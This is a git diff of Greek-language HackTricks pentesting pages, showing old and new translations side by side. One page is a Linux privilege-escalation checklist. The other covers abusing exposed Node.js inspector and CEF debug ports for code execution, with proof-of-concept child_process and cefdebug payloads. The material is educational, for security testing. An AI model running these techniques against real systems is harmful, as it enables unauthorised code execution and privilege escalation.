### [Sockets](privilege-escalation/#sockets)
* [ ] Κάποιο **γραφείο .socket** που μπορεί να γραφτεί;
* [ ] Μπορείτε να **επικοινωνήσετε με κάποιο socket**;
* [ ] **HTTP sockets** με ενδιαφέρουσες πληροφορίες;
### [D-Bus](privilege-escalation/#d-bus)
* [ ] Μπορείτε να **επικοινωνήσετε με κάποιο D-Bus**;
### [Δίκτυο](privilege-escalation/#network)
* [ ] Αναγνωρίστε το δίκτυο για να ξέρετε πού βρίσκεστε
* [ ] **Ανοιχτές θύρες που δεν μπορούσατε να αποκτήσετε πρόσβαση πριν** αποκτήσετε shell μέσα στη μηχανή;
* [ ] Μπορείτε να **καταγράψετε την κίνηση** χρησιμοποιώντας `tcpdump`;
### [Χρήστες](privilege-escalation/#users)
* [ ] Γενική **αναγνώριση χρηστών/ομάδων**
* [ ] Έχετε **πολύ μεγάλο UID**; Είναι η **μηχανή** **ευάλωτη**;
* [ ] Μπορείτε να [**ανυψώσετε δικαιώματα χάρη σε μια ομάδα**](privilege-escalation/interesting-groups-linux-pe/) στην οποία ανήκετε;
* [ ] Δεδομένα **Clipboard**;
* [ ] Πολιτική Κωδικών Πρόσβασης;
* [ ] Δοκιμάστε να **χρησιμοποιήσετε** κάθε **γνωστό κωδικό** που έχετε ανακαλύψει προηγουμένως για να συνδεθείτε **με κάθε** δυνατό **χρήστη**. Δοκιμάστε να συνδεθείτε επίσης χωρίς κωδικό.
### [Γραφείο PATH που μπορεί να γραφτεί](privilege-escalation/#writable-path-abuses)
* [ ] Αν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να μπορείτε να ανυψώσετε δικαιώματα
### [Εντολές SUDO και SUID](privilege-escalation/#sudo-and-suid)
* [ ] Μπορείτε να εκτελέσετε **οποιαδήποτε εντολή με sudo**; Μπορείτε να το χρησιμοποιήσετε για να ΔΙΑΒΑΣΕΤΕ, ΓΡΑΨΕΤΕ ή ΕΚΤΕΛΕΣΕΤΕ οτιδήποτε ως root; ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Υπάρχει κάποιο **εκμεταλλεύσιμο SUID δυαδικό**; ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Είναι οι [**εντολές sudo** **περιορισμένες** από **path**; μπορείτε να **παρακάμψετε** τους περιορισμούς](privilege-escalation/#sudo-execution-bypassing-paths);
* [ ] [**Εντολή Sudo/SUID χωρίς καθορισμένο path**](privilege-escalation/#sudo-command-suid-binary-without-command-path);
* [ ] [**SUID δυαδικό που καθορίζει path**](privilege-escalation/#suid-binary-with-command-path); Παράκαμψη
* [ ] [**LD\_PRELOAD vuln**](privilege-escalation/#ld\_preload)
* [ ] [**Έλλειψη .so βιβλιοθήκης σε SUID δυαδικό**](privilege-escalation/#suid-binary-so-injection) από έναν φάκελο που μπορεί να γραφτεί;
* [ ] [**Διαθέσιμα SUDO tokens**](privilege-escalation/#reusing-sudo-tokens); [**Μπορείτε να δημιουργήσετε ένα SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than);
* [ ] Μπορείτε να [**διαβάσετε ή να τροποποιήσετε τα αρχεία sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d);
* [ ] Μπορείτε να [**τροποποιήσετε το /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d);
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) εντολή
### [Δυνατότητες](privilege-escalation/#capabilities)
* [ ] Έχει οποιοδήποτε εκτελέσιμο οποιαδήποτε **απροσδόκητη δυνατότητα**;
* [ ] Έχει κάποιο δυαδικό **αναπάντεχη δυνατότητα**;
### [ACLs](privilege-escalation/#acls)
* [ ] Έχει οποιοδήποτε αρχείο οποιαδήποτε **απροσδόκητη ACL**;
* [ ] Έχει κάποιο αρχείο **αναπάντεχη ACL**;
### [Ανοιχτές συνεδρίες κέλυφους](privilege-escalation/#open-shell-sessions)
### [Ανοιχτές συνεδρίες shell](privilege-escalation/#open-shell-sessions)
* [ ] **screen**
* [ ] **tmux**
@ -63,60 +139,61 @@
### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**Ενδιαφέρουσες τιμές ρυθμίσεων SSH**](privilege-escalation/#ssh-interesting-configuration-values)
* [ ] [**Ενδιαφέροντα τιμές ρυθμίσεων SSH**](privilege-escalation/#ssh-interesting-configuration-values)
### [Ενδιαφέροντα αρχεία](privilege-escalation/#interesting-files)
### [Ενδιαφέροντα Αρχεία](privilege-escalation/#interesting-files)
* [ ] **Αρχεία προφίλ** - Διαβάζουν ευαίσθητα δεδομένα; Γράφουν για προνομιούχο ανέβασμα;
* [ ] **Αρχεία passwd/shadow** - Διαβάζουν ευαίσθητα δεδομένα; Γράφουν για προνομιούχο ανέβασμα;
* [ ] **Έλεγξε συνήθως ενδιαφέρουσες φακέλους** για ευαίσθητα δεδομένα
* [ ] **Παράξενη τοποθεσία/Αρχεία που ανήκουν,** μπορεί να έχετε πρόσβαση ή να αλλάξετε εκτελέσιμα αρχεία
* [ ] **Τροποποιήθηκαν** τις τελευταίες λεπτές
* [ ] **Αρχεία βάσης δεδομένων Sqlite**
* [ ] **Αρχεία προφίλ** - Διαβάστε ευαίσθητα δεδομένα; Γράψτε σε privesc;
* [ ] **αρχεία passwd/shadow** - Διαβάστε ευαίσθητα δεδομένα; Γράψτε σε privesc;
* [ ] **Ελέγξτε κοινά ενδιαφέροντα φακέλους** για ευαίσθητα δεδομένα
* [ ] **Περίεργη τοποθεσία/ιδιοκτησία αρχείων,** μπορεί να έχετε πρόσβαση ή να τροποποιήσετε εκτελέσιμα αρχεία
* [ ] **Τροποποιημένα** στα τελευταία λεπτά
* [ ] **Sqlite DB αρχεία**
* [ ] **Κρυφά αρχεία**
* [ ] **Σενάρια/Δυαδικά στην PATH**
* [ ] **Αρχεία ιστού** (κωδικοί πρόσβασης;)
* [ ] **Script/Δυαδικά αρχεία στο PATH**
* [ ] **Web αρχεία** (κωδικοί;)
* [ ] **Αντίγραφα ασφαλείας**;
* [ ] **Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης**: Χρησιμοποιήστε **Linpeas** και **LaZagne**
* [ ] **Γνωστά αρχεία που περιέχουν κωδικούς**: Χρησιμοποιήστε **Linpeas** και **LaZagne**
* [ ] **Γενική αναζήτηση**
### [**Εγγράψιμα αρχεία**](privilege-escalation/#writable-files)
### [**Αρχεία που μπορούν να γραφτούν**](privilege-escalation/#writable-files)
* [ ] **Τροποποίηση βιβλιοθήκης python** για εκτέλεση αυθαίρετων εντολών;
* [ ] Μπορείτε να **τροποποιήσετε αρχεία καταγραφής**; Εκμετάλλευση Logtotten
* [ ] Μπορείτε να **τροποποιήσετε το /etc/sysconfig/network-scripts/**; Εκμετάλλευση Centos/Redhat
* [ ] **Τροποποιήστε τη βιβλιοθήκη python** για να εκτελέσετε αυθαίρετες εντολές;
* [ ] Μπορείτε να **τροποποιήσετε αρχεία καταγραφής**; **Logtotten** exploit
* [ ] Μπορείτε να **τροποποιήσετε το /etc/sysconfig/network-scripts/**; Centos/Redhat exploit
* [ ] Μπορείτε να [**γράψετε σε αρχεία ini, int.d, systemd ή rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d);
### [**Άλλα κόλπα**](privilege-escalation/#other-tricks)
* [ ] Μπορείτε να [**καταχραστείτε το NFS για επέκταση προνομιών**](privilege-escalation/#nfs-privilege-escalation);
* [ ] Χρειάζεστε να [**δραπετεύσετε από έναν περιοριστικό κέλυφος**](privilege-escalation/#escaping-from-restricted-shells);
* [ ] Μπορείτε να [**καταχραστείτε το NFS για να ανυψώσετε δικαιώματα**](privilege-escalation/#nfs-privilege-escalation);
* [ ] Χρειάζεστε να [**ξεφύγετε από μια περιοριστική shell**](privilege-escalation/#escaping-from-restricted-shells);
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
**Ενημερώσεις Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Hack σε πραγματικό χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Ειδήσεις Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ανακοινώσεις για τις νέες ανταμοιβές ευρετηρίου σφαλμάτων και τις κρίσιμες ενημερώσεις της πλατφόρμας
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
{% hint style="success" %}
Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Κατάχρηση του Node inspector/CEF debug
# Node inspector/CEF debug abuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Βασικές Πληροφορίες
[Από τα έγγραφα](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Όταν ξεκινά με τον διακόπτη `--inspect`, ένα διεργασία Node.js ακούει για έναν πελάτη αποσφαλμάτωσης. Από προεπιλογή, θα ακούσει στη διεύθυνση και θύρα **`127.0.0.1:9229`**. Κάθε διεργασία έχει επίσης ανατεθεί ένα **μοναδικό** **UUID**.
Οι πελάτες του Inspector πρέπει να γνωρίζουν και να καθορίζουν τη διεύθυνση του κεντρικού υπολογιστή, τη θύρα και το UUID για να συνδεθούν. Ένας πλήρης URL θα μοιάζει κάπως έτσι `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
{% hint style="warning" %}
Εφόσον ο **αποσφαλματωτής έχει πλήρη πρόσβαση στο περιβάλλον εκτέλεσης του Node.js**, ένας κακόβουλος χρήστης που μπορεί να συνδεθεί σε αυτήν τη θύρα μπορεί να εκτελέσει αυθαίρετο κώδικα εξ ονόματος της διεργασίας Node.js (**πιθανή ανέλιξη προνομιακών δικαιωμάτων**).
{% endhint %}
Υπάρχουν αρκετοί τρόποι για να ξεκινήσετε έναν αποσφαλματωτή:
## Basic Information
[Από τα έγγραφα](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Όταν ξεκινά με την επιλογή `--inspect`, μια διαδικασία Node.js ακούει για έναν πελάτη αποσφαλμάτωσης. Από **προεπιλογή**, θα ακούει στη διεύθυνση και την θύρα **`127.0.0.1:9229`**. Κάθε διαδικασία έχει επίσης ανατεθεί μια **μοναδική** **UUID**.
Οι πελάτες αποσφαλμάτωσης πρέπει να γνωρίζουν και να καθορίζουν τη διεύθυνση του διακομιστή, την θύρα και την UUID για να συνδεθούν. Μια πλήρης διεύθυνση URL θα μοιάζει κάπως έτσι: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
{% hint style="warning" %}
Δεδομένου ότι ο **αποσφαλματωτής έχει πλήρη πρόσβαση στο περιβάλλον εκτέλεσης Node.js**, ένας κακόβουλος παράγοντας που μπορεί να συνδεθεί σε αυτήν την θύρα μπορεί να είναι σε θέση να εκτελέσει αυθαίρετο κώδικα εκ μέρους της διαδικασίας Node.js (**πιθανή κλιμάκωση προνομίων**).
{% endhint %}
Υπάρχουν αρκετοί τρόποι για να ξεκινήσει ένας αποσφαλματωτής:
```bash
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
@ -35,50 +36,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
```
Όταν ξεκινάτε έναν ελεγχόμενο διεργασία, κάτι τέτοιο θα εμφανιστεί:
Όταν ξεκινάτε μια διαδικασία που επιθεωρείται, κάτι τέτοιο θα εμφανιστεί:
```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
Οι διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζεται να χρησιμοποιούν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **αποσφαλματωτή** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, αντί να παρέχουν μια συνεδρία **αποσφαλμάτωσης** του **NodeJS**, θα επικοινωνήσουν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), που είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεση ευπάθεια RCE.
Διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζονται να χρησιμοποιούν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **debugger** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, **αντί** να παραχωρούν μια **NodeJS** **debug** συνεδρία, θα επικοινωνούν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE.
Όταν ξεκινάτε έναν αποσφαλματωμένο περιηγητή, κάτι τέτοιο θα εμφανιστεί:
Όταν ξεκινάτε έναν περιηγητή που αποσφαλματώνεται, κάτι τέτοιο θα εμφανιστεί:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
### Προγράμματα περιήγησης, WebSockets και πολιτική ίδιας προέλευσης <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
Οι ιστότοποι που ανοίγουν σε έναν πρόγραμμα περιήγησης μπορούν να κάνουν αιτήσεις WebSocket και HTTP σύμφωνα με το μοντέλο ασφαλείας του προγράμματος περιήγησης. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **λάβετε ένα μοναδικό αναγνωριστικό συνεδρίας του εργαλείου αποσφαλμάτωσης**. Η **πολιτική ίδιας προέλευσης** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτήν τη σύνδεση HTTP**. Για επιπλέον ασφάλεια ενάντια σε [**επιθέσεις DNS rebinding**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση καθορίζουν είτε μια **διεύθυνση IP** είτε το **`localhost`** ή το **`localhost6`** ακριβώς.
Οι ιστότοποι που ανοίγονται σε έναν περιηγητή ιστού μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του περιηγητή. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **αποκτηθεί ένα μοναδικό id συνεδρίας debugger**. Η **πολιτική same-origin** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτή τη σύνδεση HTTP**. Για επιπλέον ασφάλεια κατά των [**επιθέσεων DNS rebinding**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση είτε καθορίζουν μια **διεύθυνση IP** είτε **`localhost`** ή **`localhost6`** ακριβώς.
{% hint style="info" %}
Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του εργαλείου αποσφαλμάτωσης** για να εκτελέσει κώδικα απλά αποστέλλοντας μια αίτηση HTTP (που θα μπορούσε να γίνει εκμεταλλευόμενη μια ευπάθεια SSRF).
Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector** για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενοι μια ευπάθεια SSRF).
{% endhint %}
### Έναρξη του εργαλείου αποσφαλμάτωσης σε εκτελούμενες διεργασίες
### Starting inspector in running processes
Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια εκτελούμενη διεργασία nodejs για να την κάνετε να **ξεκινήσει το εργαλείο αποσφαλμάτωσης** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι χρειάζεστε επαρκή δικαιώματα, οπότε αυτό μπορεί να σας παράσχει **προνομιούχη πρόσβαση σε πληροφορίες μέσα στη διεργασία** αλλά όχι μια άμεση ανέλιξη προνομιών.
Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια τρέχουσα διαδικασία nodejs για να **ξεκινήσει τον inspector** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι χρειάζεστε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει **προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία** αλλά όχι άμεση κλιμάκωση δικαιωμάτων.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
{% hint style="info" %}
Αυτό είναι χρήσιμο σε containers επειδή **δεν είναι εφικτό** να **τερματίσετε τη διεργασία και να ξεκινήσετε μια νέα** με την παράμετρο `--inspect`, καθώς το **container** θα **τερματιστεί** μαζί με τη διεργασία.
Αυτό είναι χρήσιμο σε κοντέινερ γιατί **η διακοπή της διαδικασίας και η εκκίνηση μιας νέας** με `--inspect` **δεν είναι επιλογή** γιατί το **κοντέινερ** θα **σκοτωθεί** μαζί με τη διαδικασία.
{% endhint %}
### Σύνδεση με τον inspector/debugger
### Σύνδεση με τον επιθεωρητή/αποσφαλματωτή
Για να συνδεθείτε σε έναν **περιηγητή βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στις διευθύνσεις URL `chrome://inspect` ή `edge://inspect` για το Chrome ή το Edge αντίστοιχα. Κάνοντας κλικ στο κουμπί Configure, βεβαιωθείτε ότι οι **στόχοι (host) και θύρες** είναι σωστά καταχωρημένοι. Η εικόνα παρουσιάζει ένα παράδειγμα Remote Code Execution (RCE):
Για να συνδεθείτε με έναν **browser βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στα URLs `chrome://inspect` ή `edge://inspect` για το Chrome ή το Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο **στόχος και η θύρα** είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE):
![](<../../.gitbook/assets/image (620) (1).png>)
![](<../../.gitbook/assets/image (674).png>)
Χρησιμοποιώντας τη **γραμμή εντολών**, μπορείτε να συνδεθείτε σε έναν debugger/inspector με την εντολή:
Χρησιμοποιώντας τη **γραμμή εντολών** μπορείτε να συνδεθείτε με έναν αποσφαλματωτή/επιθεωρητή με:
```bash
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
```
Το εργαλείο [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), επιτρέπει να **βρεθούν οι επιθεωρητές** που τρέχουν τοπικά και να **εισαχθεί κώδικας** σε αυτούς.
Το εργαλείο [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) επιτρέπει να **βρείτε επιθεωρητές** που εκτελούνται τοπικά και να **εισάγετε κώδικα** σε αυτούς.
```bash
#List possible vulnerable sockets
./cefdebug.exe
@ -88,42 +89,42 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
```
{% hint style="info" %}
Σημείωση ότι τα εκμεταλλεύματα **NodeJS RCE δεν θα λειτουργήσουν** αν είστε συνδεδεμένοι σε ένα πρόγραμμα περιήγησης μέσω [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό).
Σημειώστε ότι οι **εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν** αν συνδεθείτε σε έναν περιηγητή μέσω του [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό).
{% endhint %}
## RCE στον επιθετή NodeJS Debugger/Inspector
## RCE στον Debugger/Inspector του NodeJS
{% hint style="info" %}
Αν ήρθατε εδώ ψάχνοντας πώς να πάρετε [**RCE από ένα XSS στο Electron, παρακαλούμε ελέγξτε αυτήν τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε [**RCE από ένα XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endhint %}
Ορισμένοι συνηθισμένοι τρόποι για να αποκτήσετε **RCE** όταν μπορείτε να **συνδεθείτε** σε έναν επιθετή Node είναι να χρησιμοποιήσετε κάτι όπως (φαίνεται ότι αυτό **δεν θα λειτουργήσει σε μια σύνδεση με το Chrome DevTools protocol**):
Ορισμένοι κοινοί τρόποι για να αποκτήσετε **RCE** όταν μπορείτε να **συνδεθείτε** σε έναν Node **inspector** είναι η χρήση κάποιου όπως (φαίνεται ότι αυτό **δεν θα λειτουργήσει σε σύνδεση με το Chrome DevTools protocol**):
```javascript
process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
```
## Πληροφορίες Πακέτου Chrome DevTools
## Chrome DevTools Protocol Payloads
Μπορείτε να ελέγξετε το API εδώ: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
Σε αυτήν την ενότητα θα απαριθμήσω απλώς ενδιαφέρουσες πράξεις που έχουν χρησιμοποιηθεί για να εκμεταλλευτούν αυτό το πρωτόκολλο.
You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
In this section I will just list interesting things I find people have used to exploit this protocol.
### Έγχυση Παραμέτρων μέσω Deep Links
### Parameter Injection via Deep Links
Στο [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), η Rhino Security ανακάλυψε ότι μια εφαρμογή βασισμένη στο CEF **καταχώρησε ένα προσαρμοσμένο URI** στο σύστημα (workspaces://) που λάμβανε το πλήρες URI και στη συνέχεια **εκκινούσε την εφαρμογή βασισμένη στο CEF** με μια διαμόρφωση που κατασκευάστηκε εν μέρει από αυτό το URI.
In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF **καταχώρησε μια προσαρμοσμένη UR**I στο σύστημα (workspaces://) που έλαβε την πλήρη URI και στη συνέχεια **εκκίνησε την εφαρμογή βασισμένη σε CEF** με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτήν την URI.
Ανακαλύφθηκε ότι οι παράμετροι του URI αποκωδικοποιούνταν και χρησιμοποιούνταν για να εκκινήσουν τη βασική εφαρμογή CEF, επιτρέποντας σε έναν χρήστη να **εισαγάγει** τη σημαία **`--gpu-launcher`** στη **γραμμή εντολών** και να εκτελέσει αυθαίρετες ενέργειες.
